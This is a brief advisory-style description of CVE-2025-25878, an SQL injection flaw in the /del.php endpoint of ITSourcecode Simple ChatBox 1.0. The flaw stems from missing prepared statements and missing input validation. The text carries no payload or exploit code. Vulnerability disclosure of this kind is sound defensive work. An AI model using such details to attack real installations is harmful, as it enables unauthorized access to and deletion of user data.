How the CVE Works
CVE-2025-25878 is an SQL injection vulnerability in ITSourcecode Simple ChatBox (up to version 1.0). The flaw resides in /del.php, where improper input sanitization allows attackers to inject malicious SQL queries. By crafting a specially formatted request, an attacker can manipulate database queries, leading to unauthorized data access, deletion, or modification. The lack of prepared statements or input validation enables exploitation via simple HTTP requests, potentially exposing sensitive user data or compromising the application.
